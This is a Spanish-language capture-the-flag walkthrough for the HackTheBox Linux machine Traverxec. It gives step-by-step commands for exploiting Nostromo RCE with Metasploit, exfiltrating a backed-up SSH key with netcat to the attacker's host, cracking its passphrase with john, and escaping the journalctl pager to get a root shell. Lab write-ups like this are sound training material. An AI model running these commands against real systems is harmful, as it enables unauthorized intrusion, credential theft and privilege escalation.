Traverxec es una máquina Linux fácil que cuenta con un servidor web Nostromo, que es vulnerable a 

Ejecución remota de código (RCE). Los archivos de configuración del servidor web nos llevan a las credenciales SSH, 

que nos permiten desplazarnos lateralmente al usuario david. Un script bash en el directorio de inicio del usuario 

revela que el usuario puede ejecutar journalctl como root (minimizando el tamaño de la consola). Esto se aprovecha para generar un shell raíz. 

Habilidades requeridas 

-Enumeración 

-Metasploit 

-Descifrado de contraseñas 

-Descifrado de claves SSH 

Enumeración: 

-Usamos nmap sobre la IP:  

 

> nmap -p- –min-rate=1000 -T4 10.10.10.165 -oG allPorts 

El escaneo revela que los puertos 22 y 80 están abiertos. 

Realizo otro escaneo para ver que versiones y servicios corren para éstos puertos y lo exporto al fichero targeted

nmap -sC -sV -p22,80 10.10.10.165 -oN targeted 

 

Nmap informa que el encabezado del servidor http es 

nostromo 1.9.6, lo que significa que la caja está ejecutando el servidor HTTP de Nostromo. 

 

Nostromo 

Nostromo o nhttpd es un servidor web de código abierto. 

metasploit

También podemos explotar la vulnerabilidad utilizando el módulo Metasploit. Iniciemos Metasploit e intentemos explotarlo: 

 

msfconsole 

msf > use exploit/multi/http/nostromo_code_exec  

msf > set rhosts 10.10.10.165  

msf > set lhost 10.10.14.20  

msf > run 

 

Los valores lhost y rhost se establecen según sea necesario y se ejecuta el módulo. 

La explotación fue exitosa y se devuelve una shell. 

 

 

TTY 

A continuación, se puede generar un shell TTY usando python 

 

> python -c ‘import pty;pty.spawn(«/bin/bash»)’ 

 

 

Movimiento lateral 

Enumeremos el sistema para encontrar vectores de escalada de privilegios. El archivo /etc/passwd revela un usuario llamado david. También revela que la raíz web de Nostromo es /var/nostromo/ . La carpeta /var/nostromo/conf contiene los archivos de configuración del servidor web. 

 

Los archivos nhttpd.conf y .htpasswd parecen interesantes. El .htpasswd contiene una contraseña hash, que es crackeable, pero resulta inútil. 

El archivo nhttpd.conf contiene la siguiente configuración. 

 

ls -al /home/david/public_www/  

> ls -al /home/david/public_www/protected-file-area 

La enumeración de la carpeta revela algunas claves SSH respaldadas. Vamos a transferirlos a nuestra caja usando netcat.  

Ejecute el siguiente comando localmente para recibir el archivo. 

 

> nc -lvp 1234 > backup.tgz 

 

A continuación, ejecute el siguiente comando en el servidor para completar la transferencia. 

 

> nc 10.10.14.20 1234 < /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz 

 

Extraigamos los archivos dentro de backup-ssh-identity-files.tgz .  

 

> tar -xvf backup-ssh-identity-files.tgz 

 

Se encuentra que el archivo contiene claves SSH de las cuales, la clave privada id_rsa puede ser potencialmente ser utilizado para iniciar sesión como david. 

 

> tar -xvf backup-ssh-identity-files.tgz 

 

La asignaremos permiso 400 y l ausaremos para logearnos por ssh:

 

> chmod 400 id_rsa

> ssh -i id_rsa david@10.10.10.165

Sin embargo, la clave privada está encriptada y necesita una contraseña. Usemos a John para intentar descifrarlo. 

Primero, extraiga el hash de la clave RSA usando ssh2john. 

 

> python3 /usr/share/john/ssh2john.py id_rsa > hash.txt 

 

 Luego, descifralo usando john y la lista de palabras rockyou.txt. 

 

> john –wordlist=/home/root/Documents/rockyou.txt hash.txt  

> john –show hash.txt 

Esto revela la contraseña para ser ‘hunter’, que usamos para SSH en la máquina. 

 

> ssh -i id_rsa david@10.10.10.165 

La bandera de User está en /home/david/. 

 

 

Escalada de privilegios 

El directorio de inicio del usuario contiene una carpeta llamada bin con los siguientes contenidos. 

 

> cat server-stats.sh 

La última línea es interesante ya que ejecuta journalctl usando sudo. Ejecutemos el script para ver el 

Producción. 

 

> ./servers-stats.sh 

El script devuelve las últimas 5 líneas de los registros del servicio nostromo usando journalctl. esto es explotable porque journalctl invoca el buscapersonas predeterminado, que probablemente sea menos . 

Este puede ser explotado mediante la ejecución de un comando de shell. 

 

> /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service 

 

Ejecutaremos el comando con el tamaño de la consola reducido al minimo para que no quepan todas las lineas al mostrar, y en el indicador de 1-2 Linea, escribir encima el comando: 

 

!/bin/bash 

La ejecución fue exitosa y se generó el shell raíz. El indicador raíz se encuentra en /root/ . 

HTB

srubi00000@gmail.com
Madrid, Spain